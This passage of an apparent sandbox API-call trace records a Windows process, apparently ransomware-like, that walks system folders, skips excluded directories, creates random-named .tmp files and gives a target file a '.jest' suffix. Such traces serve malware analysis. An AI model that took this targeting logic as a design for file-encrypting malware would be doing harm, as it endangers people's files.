Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e780*="base.xml") returned 0x4e [0121.224] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.224] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x37f)) [0121.224] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.224] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x37f)) [0121.224] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x37f)) [0121.224] GetUserDefaultLCID () returned 0x409 [0121.224] VarBstrFromR4 (in: fltIn=0x479442f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.9") returned 0x0 [0121.225] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e780*="base.xml") returned 0x4e [0121.225] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.226] GetCurrentProcessId () returned 0x9e0 [0121.226] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.226] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.226] GetFullPathNameA (in: lpFileName="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", lpFilePart=0x18e708*="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp") returned 0x8e [0121.226] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x18e708*="base.xml") returned 0x4e [0121.226] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", lpUsedDefaultChar=0x0) returned 105 [0121.227] GetFullPathNameA (in: lpFileName="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", lpFilePart=0x18e6e4*="Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp") returned 0x8e [0121.227] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pyh32BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33687950, cFileName="2BmOit9E90B_AkjU_pRHVFsyxixjdf-YtbjnDwizQp-tCLZTpIsyHtArAm0nWpTyEwM5ud88iMVG67QrLLIw6tlDxVXFPDi8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.227] GetLastError () returned 0x2 [0121.227] GetLastError () returned 0x2 [0121.227] SetLastError (dwErrCode=0x2) [0121.227] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.227] lstrcpynW (in: lpString1=0x14bcca4, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_basealtgr_rtl.xml_30385a7b`", iMaxLength=127 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_basealtgr_rtl.xml_30385a7b") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_basealtgr_rtl.xml_30385a7b" [0121.228] lstrcpynW (in: lpString1=0x14b4794, lpString2="baseAltGr_rtl.xml", iMaxLength=18 | out: lpString1="baseAltGr_rtl.xml") returned="baseAltGr_rtl.xml" [0121.228] lstrcpynW (in: lpString1=0x1467c3c, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.229] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.229] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.229] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.229] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.229] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.229] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.229] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.229] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.230] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.230] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.230] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\baseAltGr_rtl.xml", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\basealtgr_rtl.xml") returned 0x88 [0121.230] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.230] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.230] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.230] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.230] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.230] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.230] lstrcpynW (in: lpString1=0x1445ffc, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_altgr.xml_da14b41b", iMaxLength=124 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_altgr.xml_da14b41b") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_altgr.xml_da14b41b" [0121.231] lstrcpynW (in: lpString1=0x14b4aac, lpString2="base_altgr.xmlİ", iMaxLength=15 | out: lpString1="base_altgr.xml") returned="base_altgr.xml" [0121.231] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76", iMaxLength=116 | out: lpString1="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76") returned="\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76" [0121.231] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.231] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.231] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.231] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.231] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.231] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.232] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.232] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.232] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.232] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.232] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml", cchLength=0x85 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76\\base_altgr.xml") returned 0x85 [0121.232] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.232] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.232] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.232] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.232] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.233] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.233] lstrcpynW (in: lpString1=0x144bb04, lpString2="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_ca.xml_c119a6f3", iMaxLength=121 | out: lpString1="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_ca.xml_c119a6f3") returned="amd64_microsoft-windows-tabletpc-softkeyboard_31bf3856ad364e35_6.1.7601.17514_none_2fd7b56967fc5c76_base_ca.xml_c119a6f3" [0121.233] lstrcpynW (in: lpString1=0x14da79c, lpString2="base_ca.xml", iMaxLength=12 | out: lpString1="base_ca.xml") returned="base_ca.xml" [0121.233] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=68 | out: lpString1="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" [0121.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.233] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0121.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.233] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0121.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.234] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0121.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.234] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0121.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.234] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0121.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x52 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x52 [0121.234] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0121.234] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.234] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.235] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.235] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.235] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.235] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e870*="base_ca.xml") returned 0x51 [0121.243] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.jest", lpFilePart=0x18e870*="base_ca.xml.jest") returned 0x56 [0121.245] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e6d8*="base_ca.xml") returned 0x51 [0121.245] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x7b, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 0x143ce48 [0121.245] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.246] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e780*="base_ca.xml") returned 0x51 [0121.246] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.247] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e780*="base_ca.xml") returned 0x51 [0121.247] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.247] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x38f)) [0121.247] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.247] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x38f)) [0121.248] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x38f)) [0121.248] GetUserDefaultLCID () returned 0x409 [0121.248] VarBstrFromR4 (in: fltIn=0x479442f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.91") returned 0x0 [0121.248] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e780*="base_ca.xml") returned 0x51 [0121.248] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.249] GetCurrentProcessId () returned 0x9e0 [0121.249] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.249] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.249] GetFullPathNameA (in: lpFileName="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", lpFilePart=0x18e708*="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp") returned 0x8f [0121.249] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpFilePart=0x18e708*="base_ca.xml") returned 0x51 [0121.249] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PjAo6iXdaDhvt8UmvOHbq8xptGR7u5jy3ejhz64nkgtK3dY1bzCDRwdnlk8x-EvS05ltoHWEZgVpPZ33JTD jInp9BZtb6CWtGwu9.tmp", lpUsedDefaultChar=0x0) returned 106 